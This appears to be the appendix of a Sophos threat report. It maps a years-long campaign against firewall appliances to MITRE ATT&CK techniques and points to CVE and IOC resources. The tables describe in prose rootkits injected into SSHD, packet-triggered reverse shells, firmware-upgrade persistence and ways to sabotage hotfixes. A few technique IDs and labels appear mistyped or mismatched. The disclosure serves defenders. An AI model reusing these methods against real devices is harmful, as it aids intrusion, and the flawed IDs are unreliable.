See **Table 1** through **Table 10** for all referenced threat actor tactics and techniques in this report. For assistance with mapping malicious cyber activity to the MITRE ATT&CK framework, see CISA and MITRE ATT&CK's Best Practices for MITRE ATT&CK Mapping and CISA's Decider Tool.

Table 1. Resource Development

Technique Title	ID	Use
Compromise Infrastructure: Network Devices	**T1584.008**	In a Sophos sinkhole, analysts identified the actors had made User-Agent strings and payload requests mapping to consumer and SOHO routers as-well as various requests potentially tied to the Ragnarok ransomware.

Table 2. Initial Access

Technique Title	ID	Use
Valid Accounts	**T1078**	The actors deployed malware via valid administrative credentials.
Valid Accounts: Cloud Accounts	**T1078.004**	The actors pivoted from on-premises devices to cloud assets by exploiting an IAM configuration related to AWS SSM.
Exploit Public-Facing Application	**T1190**	The actors targeted devices with internet-facing web portals.
Drive-by Compromise	**T1189**	The actors implemented malware designed to run on Mac OS X and iOS, and IFRAME injection code that exploits a vulnerability in WebAssembly (wasm).

Table 3. Defense Evasion

Technique Title	ID	Use
Masquerading: Match Legitimate Name or Location	**T1036.055**	The actors replaced SSH and SSHD with versions related to a malware family ESET named Onderon.
Obfuscated Files or Information: Binary Padding	**T1027.001**	The actors swapped out the binaries that verify the cryptographic signature in the firmware to bypass integrity checks.
Rootkit	**T1014**	The actors installed a rootkit named Cloud Snooper on a victim device, which the attackers used to disguise malicious C2 traffic. The actors also ran the libsophos.so rootkit.
Masquerading	**T1036**	The actors renamed a legitimate device binary and dropped the RAT in its place. The actors also used a custom-built, fully featured userland rootkit which closely mimicked Sophos product file naming conventions and behavior.

Impair Defenses	**T1562**	The actors bypassed the mitigation of CVE-2022-3236, a vulnerability they exploited, by providing malformed JSON to trigger an exception, skipping the additional input sanitization that mitigated the vulnerability.
Impair Defenses: Disable or Modify Tools	**T1562.001**	The actors wrote the script patch.sh to the filesystem; the patch set a flag in a database that disabled automatic hotfix updates, re-running this command every five minutes.
Impair Defenses: Indicator Blocking	**T1562.006**	The actor deployed a scripting loop that continuously set the administrative setting to accept hotfixes to false to sabotage the victim's ability to repair devices.
Impair Defenses	**T1562**	The actors provided a malformed JSON which triggered an exception to additional input sanitization meant to mitigate CVE-2022-3236.
Indirect Command Execution	**T1202**	The actors leveraged a command injection vulnerability (CVE-2022-3236) in a Perl-based component for initial access to a device.
Obfuscated Files or Information	**T1406**	The actors used malicious JAR files and a connection to a C2 IP on a device that had received the CVE-2022-3236 patch.

Table 4. Credential Access

Technique Title	ID	Use
OS Credential Dumping: DCSync	**T1003.006**	The actors used sniffed credentials to run a DCSync credential dump from a LAN-side domain-controller.
Brute Force: Password Guessing	**T1110.001**	The actors gained initial access to numerous impacted devices via weak SSH credentials.
Steal or Forge Authentication Certificates	**T1649**	The actors stole privileged internal Active Directory credentials with a 64-bit ELF backdoor.
Exploitation for Credential Access	**T1212**	The actors exploited CVE-2020-15069 to deliver a payload that stole credentials saved on an appliance.

Table 5. Discovery

Technique Title	ID	Use

Network Service Discovery	**T1046**	The actors conducted network scans using a low-privilege computer in the victim's environment.

Table 6. Lateral Movement

Technique Title	ID	Use
Exploitation of Remote Services	**T1210**	The actors leveraged a post-authentication remote code execution vulnerability in an operating system component.
Remote Services: SSH	**T1021.004**	The actors used the libsophos.so library to inject itself into the system's SSHD by using the LD_PRELOAD environment variable.

Table 7. Command and Control

Technique Title	ID	Use
Traffic Signaling	**T1205**	The actors sent a specially crafted packet to a device, which triggered a back-connect shell RAT when received by the device.
Traffic Signaling: Port Knocking	**T1205.001**	The actors inserted the libsophos.os library in the SSHD process to enable the actors to identify and respond to specially crafted ICMP packets, which (if received by an infected device) could open a SOCKs proxy or reverse shell back-connection to an IP address chosen by the attacker.
Traffic Signaling: Socket Filters	**T1205.002**	The actors deployed a kernel-level rootkit with stealthy command and control.
Proxy	**T1090**	The actors, using the libsophos.so library injected in a system's SSHD, crafted ICMP packets which deployed a SOCKS proxy when received by infected devices. In a separate instance, the actors deployed a Fast Reverse Proxy (FRP).
Proxy: Multi-hop Proxy	**T1090.003**	The actors chained together multiple proxies to obfuscate the true origin of the attacks.
Ingress Tool Transfer	**T1105**	The actors downloaded suspicious binaries from a LAN-side internal web server.

Table 8. Execution

Technique Title	ID	Use
Command and Scripting Interpreter: Unix Shell	**T1059.004**	The actors abused Unix shell commands to aid with code execution.
Command and Scripting Interpreter	**T1059**	The actors used a command injection privilege escalation, alongside exploiting an SQLi vulnerability (CVE-2020-12271), to gain root access to devices and install the Asnarök trojan. In a separate instance, the actors also delivered two malicious Linux shell payloads (*patch.sh* and *IC.sh*). In a separate instance, the actors also used a command injection vulnerability to open a reverse shell connection from two devices (from a law firm and IT services company) to an IP address belonging to a US-based hosting company).
Exploitation for Client Execution	**T1203**	The actors exploited the CVE 2020-12271 vulnerability, alongside a command injection privilege escalation, to gain root access to the device and install the Asnarök trojan. In a separate instance, the actors exploited CVE-2020-15069 to deploy malicious payloads to the TStark cluster of devices.

Table 9. Persistence

Technique Title	ID	Use
Server Software Component: Web Shell	**T1505.003**	The actors deployed a malicious web shell indiscriminately to devices running a WAN-facing web portal.
Compromise Host Software Binary	**T1554**	The actors replaced a device's SSH and SSHD binaries with malware named Onderon (aka bl0wsshd00r67p1).
Boot or Logon Initialization Scripts: Login Hook	**T1037.002**	The actors inserted a hook into the firmware upgrade process. The hook wrote the backdoor into the temporary partition used for the new firmware before the device rebooted, allowing it to survive firmware upgrades.

Traffic Signaling	**T1205**	The actors deployed a simple back-connect shell which triggered when a specially crafted packet was received by the device.
External Remote Services	**T1133**	The actors apparently used VPNs intermittently to access TStark devices, as telemetry switched between several IP addresses in different locations.
Create Account: Local Account	**T1136.001**	The actors exploited CVE-2020-29574 to create a new administrator-level user account (named cybersupport) on devices.
Hijack Execution Flow: Dylib Hijacking	**T1574.004**	The actors embedded Trojanized class files inside pre-existing Java archive (JAR) files, which were then loaded into an internet accessible Java servlet to act as a dynamic loader for other AES-encrypted class files provided to it via a HTTP POST.
Boot or Logon Autostart Execution	**T1547**	The actors used a rootkit module that enumerates devices on the local system on startup, then executes the core module.

Table 10. Privilege Escalation

Technique Title	ID	Use
Valid Accounts: Cloud Accounts	**T1078.004**	The actors abused an overly permissive IAM configuration related to AWS SSM to gain access to cloud assets from on-premises devices.

Appendix II – Relevant industry events and research

During this five-year investigation analysts closely monitored potentially related research and events and often collaborated with the authors and teams behind the reports. To aid further research, we have included a selection of research pieces that aided our understanding of the tracked actors and potentially related groups and activity.

We will continue to add resources to this list as they are published.

Appendix III – Database of network device CVEs

As we wrote our analysis of the Sophos-centric events described in this report, we likewise observed a large volume of network device vulnerabilities being disclosed by multiple vendors, often with associated active exploitation. To highlight the scale of worldwide threat activity, and as a potentially useful community resource, we have compiled a list of publicly documented CVEs affecting network (and other edge) devices offered by a selection of vendors. Where relevant public research exists, we have included details on active exploitation and suspected threat actors. This information has been compiled from publicly available sources and best-effort searches of publicly available information as of mid-October 2024, as noted in the table below.

Data Element	Source
Vendor	Vendor Website
Title	NIST's National Vulnerability Database (https://nvd.nist.gov/)
CVE	NIST's National Vulnerability Database (https://nvd.nist.gov/)
CVSS	NIST's National Vulnerability Database (https://nvd.nist.gov/)
Date of NVD publication	NIST's National Vulnerability Database (https://nvd.nist.gov/)
Date of vendor advisory	Vendor Website
Used in ransomware attacks	Publicly Available Information
Date added to KEV Catalog	CISA's Known Exploited Vulnerabilities Catalog (https://www.cisa.gov/known-exploited-vulnerabilities-catalog).
Vendor Advisory	Vendor Website
Date of Known Exploitation	Publicly Available Information
Threat actor	Publicly Available Information
Targets	Publicly Available Information

Twenty-four vendors are represented in the data. This list is based on market share and general interest. Inclusion should not be interpreted as constituting any relation to the situations documented elsewhere in Pacific Rim coverage.

Arcadyan Technology	F5	Palo Alto Networks

Barracuda Networks	FatPipe Networks	Pulse Secure [Ivanti]
Check Point Software	Fortinet	SonicWall
Cisco Systems	Juniper Networks	Sophos
Citrix Systems	MikroTik	Sumavision Technologies
DASAN Networks	Netgear	Tenda
D-Link Systems	Netis Systems	TP-Link
DrayTek	Oracle	Zyxel

Sophos welcomes contributions or corrections to this compilation and should circumstances warrant, may choose to update it going forward. The data is in a GitHub repository at https://github.com/sophoslabs/NetDeviceCVEs.

Appendix IV – IOCs

A table of indicators of compromise can be found on the Sophos X-Ops GitHub for each of the individual attacks described in this report:

Note: These are not a comprehensive lists of IOCs. They instead focus on key, primarily network, IOCs that defenders are likely to have the capability to hunt for. Given the historic nature of much of this activity, the timeframe of any hits should be carefully considered and cross-referenced with this report.